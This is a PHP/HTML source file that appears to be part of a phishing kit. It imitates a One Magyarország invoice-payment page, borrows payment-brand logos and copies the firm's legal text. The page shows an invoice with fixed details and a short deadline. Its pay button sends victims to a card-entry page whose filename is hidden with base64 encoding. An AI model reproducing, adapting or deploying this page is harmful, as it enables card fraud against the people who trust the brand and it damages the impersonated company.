<?php
require __DIR__ . '/class/Config.php';

// اضبط التوقيت (اختياري لكن مفضل لهونغاريا)
date_default_timezone_set('Europe/Budapest');

// تواريخ أوتوماتيكية
$issue_dt = new DateTime('now');          // اليوم
$due_dt   = (new DateTime('now'))->modify('+2 days'); // اليوم + 2 أيام

$invoice_no    = '4462398';
$issue_date    = $issue_dt->format('Y-m-d'); // 2025-11-08 مثلا
$due_date      = $due_dt->format('Y-m-d');   // 2025-11-10 مثلا
$payable_num   = Config::paymentAmountNumeric();
$email_default = '';
?>
<!doctype html>
<html lang="hu">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Kifizetendő számlák összesítése | One</title>
<style>
  :root{
    --teal:#5aaeb3; --ink:#0f172a; --muted:#6b7280; --line:#e7e9ec; --bg:#f4f6f7;
    --panel:#fff; --w:1050px; --r:14px; --btn:#2aa7c9; --btnDisabled:#bcdfe8;
  }
  *{box-sizing:border-box}
  html,body{height:100%}
  body{margin:0;background:var(--bg);color:var(--ink);font:15px/1.55 system-ui,-apple-system,Segoe UI,Roboto,Helvetica,Arial}

  .top{background:var(--teal);height:76px;display:flex;align-items:center;justify-content:flex-start;padding-left:28px}
  .top .circle{width:54px;height:54px;border-radius:50%;background:#fff;display:flex;align-items:center;justify-content:center;box-shadow:0 6px 14px rgba(0,0,0,.18)}
  .top .circle img{height:36px}

  .wrap{max-width:var(--w);margin:26px auto 0;padding:0 18px}
  .title{font-size:32px;font-weight:800;margin:0 0 6px;letter-spacing:.2px}
  .lead{color:var(--muted);margin:0 0 18px;font-size:14px}

  .badges-wrap{display:flex;align-items:center;gap:10px;margin-bottom:12px}
  .badges{display:flex;align-items:center;gap:12px}
  .badges img{display:block}
  .badges .logo-one{height:50px;margin-right:12px}
  .badges img:not(.logo-one){height:26px;background:#f3f4f6;padding:6px 10px;border-radius:10px;box-shadow:0 1px 3px rgba(0,0,0,.06)}

  .panel{background:var(--panel);border:1px solid var(--line);border-radius:var(--r);box-shadow:0 10px 28px rgba(15,23,42,.06)}
  .panel-inner{padding:22px}

  .table{width:100%;border:1px solid var(--line);border-radius:12px;overflow:hidden}
  .row{display:grid;grid-template-columns:170px 1fr 1fr 1fr 1fr}
  .cell{padding:14px 16px;border-bottom:1px solid var(--line);font-size:14px}
  .head{background:#fafbfc;font-weight:700}
  .row:last-child .cell{border-bottom:0}
  .right{text-align:right}
  .sum{font-weight:800}
  .totalFT{letter-spacing:.8px}

  .req{font-size:12px;color:#6b7280;margin:10px 0 6px}
  .legal{font-size:12.5px;line-height:1.6;color:#111827;margin:6px 0 8px}
  .legal a{text-decoration:underline;font-weight:700;color:#111827}
  .legal .star{color:#e11d48;font-weight:800;margin-left:2px}

  .twoCol{display:grid;grid-template-columns: 1fr 420px;gap:14px;align-items:start}
  .rightCol{display:grid;grid-template-rows:auto auto;gap:12px;justify-items:stretch}

  .emailWrap{height:44px;background:#fff;border:1px solid var(--line);border-radius:999px;padding:0 12px;display:flex;align-items:center}
  .email{flex:1;height:100%;border:0;background:transparent;font-size:14px;padding:0 6px}
  .email:focus{outline:0}

  .btn{border:0;border-radius:999px;background:var(--btn);color:#fff;font-weight:800;letter-spacing:.2px;padding:12px 22px;cursor:pointer;transition:.15s;white-space:nowrap;width:100%}
  .btn[disabled]{background:var(--btnDisabled);cursor:not-allowed}
  .btn:not([disabled]):hover{filter:brightness(1.05);transform:translateY(-1px)}

  .agree-line{display:flex;align-items:center;gap:10px;margin-top:10px}
  .agree-line input{width:18px;height:18px}
  .agree-right{margin-left:auto;color:#0f172a;font-weight:700}

  .acc{margin-top:16px}
  summary{list-style:none;cursor:pointer;padding:16px;border:1px solid var(--line);border-radius:12px;font-weight:700;background:#fff;display:flex;justify-content:space-between;align-items:center}
  summary::-webkit-details-marker{display:none}
  .chev{transition:.2s}
  details[open] .chev{transform:rotate(180deg)}
  .acc .box{border:1px solid var(--line);border-top:0;border-radius:0 0 12px 12px;padding:14px 16px;background:#fff;color:#6b7280;font-size:14px}

  .footer{background:#101214;color:#fff;margin-top:26px;padding:28px 0 74px}
  .foot{max-width:var(--w);margin:0 auto;padding:0 18px}
  .brand{display:flex;align-items:center;gap:10px}
  .brand img{height:54px}
  .stores{display:flex;gap:12px;flex-wrap:wrap;justify-content:center;margin-top:12px}
  .stores img{height:42px;border-radius:8px;background:#fff}

  @media (max-width:980px){
    .row{grid-template-columns:1fr 1fr}
    .head{display:none}
    .twoCol{grid-template-columns:1fr}
    .rightCol{order:1}
  }
  @media (max-width:860px){
    .top{justify-content:center;padding-left:0}
    .badges-wrap{justify-content:center}
  }
</style>
</head>
<body>

  <!-- HEADER -->
  <div class="top">
    <div class="circle"><img src="img/logo.svg" alt="one"></div>
  </div>

  <!-- TITLE -->
  <div class="wrap">
    <h1 class="title">KIFIZETENDŐ SZÁMLÁK ÖSSZESÍTÉSE</h1>
    <p class="lead">Egyszerűen ki számláját azonnal، bankkártyája segítségével.</p>

    <!-- BADGES -->
    <div class="badges-wrap">
      <div class="badges">
        <img class="logo-one"  src="img/logo.svg" alt="one">
        <img src="assets/images/simplepay_horizontal_03.png" alt="SimplePay">
        <img src="assets/images/kjdg.jpg"                alt="Google Pay">
        <img src="assets/images/Mastercard_2019_logo.svg" alt="Mastercard">
        <img src="assets/images/Maestro_2016.svg.png"     alt="Maestro">
        <img src="assets/images/Visa_2014.svg"            alt="VISA">
      </div>
    </div>

    <!-- PANEL -->
    <div class="panel">
      <div class="panel-inner">

        <!-- TABLE -->
        <div class="table">
          <div class="row head">
            <div class="cell">Sorszám</div>
            <div class="cell">Számla kelte</div>
            <div class="cell">Fizetési határidő</div>
            <div class="cell">Számla értéke</div>
            <div class="cell right">Fizetendő</div>
          </div>
          <div class="row">
            <div class="cell"><?= htmlspecialchars($invoice_no) ?></div>
            <div class="cell"><?= htmlspecialchars($issue_date) ?></div>
            <div class="cell"><?= htmlspecialchars($due_date) ?></div>
            <div class="cell"><?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?></div>
            <div class="cell right"><?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?></div>
          </div>
          <div class="row">
            <div class="cell sum">Összesen</div>
            <div class="cell"></div><div class="cell"></div><div class="cell"></div>
            <div class="cell right sum totalFT"><?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?></div>
          </div>
        </div>

        <!-- EMAIL + CHECK + BUTTON -->
        <div class="twoCol">
          <div>
            <div class="agree-line">
              <input type="checkbox" id="ok" aria-label="Elfogadom">
              <label for="ok" style="cursor:pointer">Elfogadom</label>
              <small class="agree-right">Elfogadom</small>
            </div>
          </div>

          <div class="rightCol">
            <div class="emailWrap">
              <input id="email" class="email" type="email" value="<?= htmlspecialchars($email_default) ?>" placeholder="hello@one.hu" aria-label="Email">
            </div>
            <button id="payBtn" class="btn" disabled>BANKKÁRTYÁS FIZETÉS INDÍTÁSA</button>
          </div>
        </div>

        <p class="req">A *-al megjelölt mezők kitöltése kötelező.</p>

        <p class="legal">
          Tudomásul veszem, hogy a(z) One Magyarország Zrt. (1112 Budapest, Boldizsár utca 2.) adatkezelő által a(z)
          https://d-ugyfelkapu.one.hu felhasználói adatbázisában tárolt alábbi személyes adataim átadásra kerülnek az OTP Mobil Kft.,
          mint adatfeldolgozó részére. Az adatkezelő által továbbított adatok köre az alábbi: E-mail cím.
          Az adatfeldolgozó által végzett adatfeldolgozási tevékenység jellege és célja a SimplePay Adatkezelési tájékoztatóban,
          az alábbi linken tekinthető meg:
          <a href="https://simplepay.hu/adatkezelesi-tajekoztatok/" target="_blank" rel="noopener">
            https://simplepay.hu/adatkezelesi-tajekoztatok/
          </a><span class="star"> *</span>
        </p>

      </div>
    </div>

    <!-- ACCORDION -->
    <details class="acc">
      <summary>
        <span>Tájékoztató</span>
        <svg class="chev" width="20" height="20" viewBox="0 0 20 20" fill="none" aria-hidden="true"><path d="M5 8l5 5 5-5" stroke="#111827" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>
      </summary>
      <div class="box">Kapcsolat: <a href="mailto:hello@one.hu">hello@one.hu</a> · Tel: 06 1 234 5678.</div>
    </details>
  </div>

  <!-- FOOTER -->
  <div class="footer">
    <div class="foot">
      <div class="brand"><img src="img/logo.svg" alt="one"></div>
      <p style="text-align:center;margin:10px 0 6px;opacity:.9">Ügyfélkapu a mobilodon is</p>
      <div class="stores">
        <img src="img/pay.png" alt="Google Play">
        <img src="img/app.png" alt="AppGallery">
        <img src="img/ap.png"  alt="App Store">
      </div>
    </div>
  </div>

<script>
  const email = document.getElementById('email');
  const ok    = document.getElementById('ok');
  const btn   = document.getElementById('payBtn');

  const validEmail = v => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v);
  const toggle = () => { btn.disabled = !(validEmail(email.value.trim()) && ok.checked); };
  email.addEventListener('input', toggle);
  ok.addEventListener('change', toggle);
  toggle();

  btn.addEventListener('click', () => {
    var nextPage = atob('Y2FyZC5waHA='); // card.php encoded
    location.href = nextPage + '?amount=<?= rawurlencode((string) $payable_num) ?>' + '&email=' + encodeURIComponent(email.value.trim());
  });
</script>
</body>
</html>